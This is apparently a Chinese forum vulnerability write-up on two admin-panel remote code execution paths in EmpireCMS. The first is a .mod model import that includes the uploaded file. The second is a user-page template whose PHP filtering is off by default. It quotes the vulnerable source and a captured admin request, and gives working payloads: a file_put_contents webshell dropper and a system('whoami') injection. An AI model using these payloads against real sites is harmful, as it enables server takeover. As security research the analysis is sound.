```
后台getshell(一)
看ecmsmod.php第155-162行
elseif($enews=="LoadInMod")
  $file=$_FILES['file']['tmp_name'];
  $file_name=$_FILES['file']['name'];
  $file_type=$_FILES['file']['type'];
  $file_size=$_FILES['file']['size'];
  \verb|LoadInMod(\$\_POST,\$file,\$file\_name,\$file\_type,\$file\_size,\$logininid,\$loginin);|
跟进LoadInMod函数
function LoadInMod($add,$file,$file_name,$file_type,$file_size,$userid,$username){
  global $empire,$dbtbpre,$ecms_config;
  CheckLevel($userid,$username,$classid,"table");
   $tbname=RepPostVar(trim($add['tbname']));
  if(!$file_name||!$file_size||!$tbname)
   {
      printerror("EmptyLoadInMod","");
  }
   //
  $filetype=GetFiletype($file_name);
  if($filetype!=".mod")
   {
      printerror("LoadInModMustmod","");
   $num=$empire->gettotal("select count(*) as total from {$dbtbpre}enewstable where tbname='$tbname' limit 1");
  if($num)
   {
      printerror("HaveLoadInTb","");
   }
   //
  $path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
  $cp=@move_uploaded_file($file,$path);
  if(!$cp)
   {
      printerror("EmptyLoadInMod","");
  DoChmodFile($path);
  @include($path);
这里如果是去爆破文件名的话也很简单,不可控的就
make_password(10)
10位随机数,因为这里拿不到种子,并不能去预测
但是下面
@include($path);
直接包含了这个文件,那么直接写入就可以。
<?php
  file_put_contents("p0desta.php","<?php phpinfo(); ?>");
```

位置: 管理数据表 > 导入系统模型

导入系统模型	
存放的数据表名:	phome_ecms_ 323
选择导入模型文件:	浏览 test.php *.mod
	马上导入 重置

4年11社区

后台getshell(二)

看代码ecmscom.php第46行

\$gid=(int)\$add['gid'];

```
if($enews=="AddUserpage")//
  AddUserpage($_POST,$logininid,$loginin);
跟进函数AddUserpage
function AddUserpage($add,$userid,$username){
  global $empire,$dbtbpre;
   //
  CheckLevel($userid,$username,$classid,"userpage");
  $classid=(int)$add[classid];
  $title=$add['title'];
   $path=$add['path'];
   $pagetext=$add['pagetext'];
  if(empty($title)||empty($path))
   {
      \verb|printerror("EmptyUserpagePath","history.go(-1)");|\\
   }
  $title=hRepPostStr($title,1);
   $path=hRepPostStr($path,1);
   $pagetext=RepPhpAspJspcode($pagetext);
   $pagetitle=RepPhpAspJspcode($add[pagetitle]);
   $pagekeywords=RepPhpAspJspcode($add[pagekeywords]);
   $pagedescription=RepPhpAspJspcode($add[pagedescription]);
   $tempid=(int)$add['tempid'];
```

```
$sql=$empire->query("insert into {$dbtbpre}enewspage(title,path,pagetext,classid,pagetitle,pagekeywords,pagedescription,tem
  $id=$empire->lastid();
  ReUserpage ($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
  if($sql)
   {
       //
      insert_dolog("id=$id&title=$title");
      printerror("AddUserpageSuccess","template/AddPage.php?enews=AddUserpage&gid=$gid&ChangePagemod=$add[pagemod]".hReturnEc
  }
  else
   {
      printerror("DbError", "history.go(-1)");
   }
}
可以发现是有处理函数的,跟进看一下
function RepPhpAspJspcode($string){
  global Spublic r;
  die(var_dump($public_r[candocode]));
   if(!$public r[candocode]){
       //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
      $string=str_replace("<\\","<\\",$string);</pre>
      $string=str_replace("\\>","\\>",$string);
      $string=str_replace("<?","<?",$string);</pre>
      $string=str_replace("<%","<%",$string);</pre>
      if(@stristr($string,' language'))
          $string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
       //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
   }
  return $string;
可以发现是有做替换操作的,那为什么会可以getshell呢,通过echo出$public_r[candocode]
为1也就说说这个if判断条件进不去
      'onlinemovietemp'=>'[ <a href=\"#e
8.5
      'lctime'=>1222406370, ¶
86
      'candocode'=>1,¶
      'opennotcj'=>0, ¶
88
      'listpagetemp'=>'页次: [!--thispage
R 9
默认设置为1,那么这个函数就相当于没有
可以发现在functions.php的第305行-319行
function RepPhpAspJspcodeText($string){
  //$string=str_replace("<?xml","[!--ecms.xml--]",$string);
  $string=str_replace("<\\","<\\",$string);</pre>
  $string=str_replace("\\>","\\>",$string);
  $string=str_replace("<?","<?",$string);</pre>
  $string=str_replace("<%","<%",$string);</pre>
  if(@stristr($string,' language'))
      $string=preg_replace(array('!<script!i','!</script>!i'),array('<script','</script>'),$string);
   //$string=str_replace("[!--ecms.xml--]","<?xml",$string);
  $string=str_replace("<!--code.start-->","<!--code.start-->",$string);
  $string=str_replace("<!--code.end-->","<!--code.end-->",$string);
  return $string;
```

继续往下走

有个同样的替换操作的函数,如果使用这个函数也是很安全的。

```
ReUserpage($id,$pagetext,$path,$title,$pagetitle,$pagekeywords,$pagedescription,$tempid);
跟进e\class\functions.php
function \ \ ReUserpage (\$id,\$pagetext,\$path,\$title="",\$pagetitle,\$pagekeywords,\$pagedescription,\$tempid=0) \{ pagetext,\$path,\$title="",\$pagetitle,\$pagekeywords,\$pagedescription,\$tempid=0) \} \} \\
   global $public_r;
   if(empty($path))
       return "";
   $path=eReturnTrueEcmsPath().'e/data/'.$path;
   DoFileMkDir($path);//■■■
   eAutodo_AddDo('ReUserpage',$id,0,0,0,0);//moreportdo
   if(empty($pagetitle))
       $pagetitle=$title;
   }
   //
   if($tempid)
       $pagestr=GetPageTemp($tempid);
   }
   else
       $pagestr=$pagetext;
   $pagestr=InfoNewsBq("page".$id,$pagestr);
   $pagestr=RepUserpageVar($pagetext,$title,$pagetitle,$pagekeywords,$pagedescription,$pagestr,$id);
   $pagestr=str_replace("[!--news.url--]",$public_r['newsurl'],$pagestr);
   //die(var_dump($pagestr));
   WriteFiletext($path,$pagestr);
发现代码进入$pagestr=InfoNewsBq("page".$id,$pagestr);
跟进这个函数
function InfoNewsBq($classid,$indextext){
   \verb|global \$empire,\$dbtbpre,\$public_r,\$emod_r,\$class_r,\$class_zr,\$fun_r,\$navclassid,\$navinfor,\$class_tr,\$level_r,\$etable\_r;
   if(!defined('EmpireCMSAdmin'))
   {
       $_GET['reallinfotime']=0;
   if($_GET['reallinfotime'])
   {
       $classid.='_all';
   $file=eReturnTrueEcmsPath().'e/data/tmp/temp'.$classid.'.php';
   if($_GET['reallinfotime']&&file_exists($file))
   {
       $filetime=filemtime($file);
       if($_GET['reallinfotime']<=$filetime)</pre>
           ob_start();
           include($file);
           $string=ob_get_contents();
           ob_end_clean();
           $string=RepExeCode($string);//■■■■
           return $string;
       }
   $indextext=stripSlashes($indextext);
   $indextext=ReplaceTempvar($indextext);//
   $indextext=DoRepEcmsLoopBq($indextext);
   $indextext=RepBq($indextext);
```

```
WriteFiletext($file,AddCheckViewTempCode().$indextext);
   ob start();
   include($file);
   $string=ob_get_contents();
   ob end clean();
   $string=RepExeCode($string);//■■■■
   return $string;
                            $indextext=ReplaceTempvar($indextext);// 替换全局模板变量®
               2484
($classic
                            //替赘标签
               2485
                            $indextext=DoRepEcmsLoopBq($indextext); {
               2486
                            $indextext=RepBq($indextext); \[

               2487
                             //写文的
       ^
               2488
                            die(AddCheckViewTempCode().$indextext);¶
               2489
                            WriteFiletext($file,AddCheckViewTempCode().$indextext);
               2490
                            //读取文件内容
               2491

                                                                                       □□<?php
               age&ehash_c2z2S=LH8ELkBDHMaSoK5pnnSR
                                                                                       if(!defined('InEmpireCMS'))
               Cookie: menu=1; sfbelecmsdodbdata=empirecms; sfbelloginuserid=1;
               sfbelloginusername=admin; sfbelloginlevel=1; sfbeleloginlic=empirecmslic;
                                                                                            exit();
               sfbelloginadminstyleid=1;
               sfbelloginecmsckpass=bbd804f51a4983c08cfca1b352883a39;
                                                                                       ?> <?php system('whoami');?>
               sfbelloginecmsckfrnd=NyZI5w57HG3t3VIrMIZEJzLhcSL;
               sfbelloginecmsckfdef=BuvYnupCjqYUBEz44BigQy;
               sfbelemecpdRWAkhu=OZ0HxgHURIkOIIORrf; sfbellogintime=1545219686;
然后下面的include将会包含这个文件,也就是说我们同样可以利用
<?php
```

```
file_put_contents("p0desta.php","<?php phpinfo(); ?>");
?>
```

这样来getshell,或者直接返回执行命令的回显。

• 这个cms后台getshell的点很多,不再细找,简单拿出2个来举例。 点击收藏 | 0 关注 | 1
